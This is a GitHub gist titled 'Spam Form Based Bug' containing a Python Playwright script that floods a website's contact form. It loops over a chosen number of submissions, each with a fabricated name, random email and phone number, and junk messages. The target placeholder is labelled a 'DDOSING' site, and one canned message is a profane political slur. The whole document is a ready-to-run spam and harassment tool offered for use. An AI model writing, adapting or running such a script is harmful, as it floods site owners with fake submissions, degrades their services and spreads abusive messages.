Skip to content

Instantly share code, notes, and snippets.

@ayoubzulfiqar
Created October 14, 2025 05:47
Show Gist options
  • Save ayoubzulfiqar/4eb5eb14a0c37d80cc1ef65e31d891da to your computer and use it in GitHub Desktop.
Save ayoubzulfiqar/4eb5eb14a0c37d80cc1ef65e31d891da to your computer and use it in GitHub Desktop.
Spam Form Based Bug
#!/usr/bin/env python3
import asyncio
import random
import sys
import names
from playwright.async_api import async_playwright
class ContactFormBot:
def __init__(self, num_submissions):
self.num_submissions = num_submissions
self.url = "https://random Form Based DDOSING .com"
def generate_random_email(self):
domains = [
"gmail.com",
"yahoo.com",
"hotmail.com",
"outlook.com",
"protonmail.com",
]
username = "".join(
random.choices(
"abcdefghijklmnopqrstuvwxyz1234567890", k=random.randint(8, 12)
)
)
domain = random.choice(domains)
return f"{username}@{domain}"
def generate_random_phone(self):
return f"+1{random.randint(200, 999)}{random.randint(100, 999)}{random.randint(1000, 9999)}"
def generate_random_message(self):
messages = [
"Baxzing",
"Bamboozled",
"DDOSING.",
"Need Update",
"Fix The BUG",
"Fuck Israel, Fuck Nethanyahuu",
]
return random.choice(messages)
async def submit_form(self, page):
try:
# Generate random data
name = names.get_full_name()
email = self.generate_random_email()
phone = self.generate_random_phone()
message = self.generate_random_message()
print(f"Submitting form with: {name}, {email}")
# Fill out the form
await page.fill('input[name="name"]', name)
await page.fill('input[name="email"]', email)
await page.fill('input[name="phone"]', phone)
await page.fill('textarea[name="message"]', message)
# Submit the form
await page.click('button[type="submit"]')
# Wait a bit to ensure submission
await asyncio.sleep(2)
# Check if submission was successful (look for success message or form reset)
# If the form is still visible, try to close it
try:
close_button = page.locator('button[aria-label="Close contact form"]')
if await close_button.is_visible():
await close_button.click()
await asyncio.sleep(1)
except:
pass
return True
except Exception as e:
print(f"Error submitting form: {e}")
return False
async def run(self):
async with async_playwright() as p:
# Launch browser
browser = await p.chromium.launch(
headless=False
) # Set to True for headless mode
context = await browser.new_context()
page = await context.new_page()
try:
# Navigate to the website
print(f"Navigating to {self.url}")
await page.goto(self.url, wait_until="networkidle")
successful_submissions = 0
for i in range(self.num_submissions):
print(f"\n--- Submission {i + 1}/{self.num_submissions} ---")
# Click the Contact Me button - FIXED SELECTOR
try:
# Use a more specific selector to target the first Contact Me button
# The nth(0) selects the first matching element
contact_button = page.locator(
'button:has-text("Contact Me")'
).nth(0)
await contact_button.click()
# Wait for the modal to appear
await page.wait_for_selector("div.fixed.inset-0", timeout=5000)
# Submit the form
if await self.submit_form(page):
successful_submissions += 1
print(f"✓ Submission {i + 1} completed successfully")
else:
print(f"✗ Submission {i + 1} failed")
# Wait before next submission
await asyncio.sleep(random.uniform(2, 4))
except Exception as e:
print(f"Error in submission {i + 1}: {e}")
# Try alternative selector if the first one fails
try:
print("Trying alternative selector...")
# Try using the button inside the header section
contact_button = page.locator(
'header button:has-text("Contact Me")'
)
await contact_button.click()
await page.wait_for_selector(
"div.fixed.inset-0", timeout=5000
)
if await self.submit_form(page):
successful_submissions += 1
print(
f"✓ Submission {i + 1} completed successfully (alternative selector)"
)
else:
print(f"✗ Submission {i + 1} failed")
await asyncio.sleep(random.uniform(2, 4))
except Exception as e2:
print(f"Alternative selector also failed: {e2}")
# Try to reload the page if something went wrong
await page.reload()
await asyncio.sleep(2)
print(
f"\n✅ Completed! Successfully submitted {successful_submissions}/{self.num_submissions} forms"
)
except Exception as e:
print(f"An error occurred: {e}")
finally:
# Close browser
await browser.close()
def main():
if len(sys.argv) != 2:
print("Usage: python script.py <number_of_emails>")
sys.exit(1)
try:
num_emails = int(sys.argv[1])
if num_emails <= 0:
print("Please provide a positive number of emails")
sys.exit(1)
except ValueError:
print("Please provide a valid number")
sys.exit(1)
print(f"Starting bot to submit {num_emails} contact forms...")
bot = ContactFormBot(num_emails)
asyncio.run(bot.run())
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment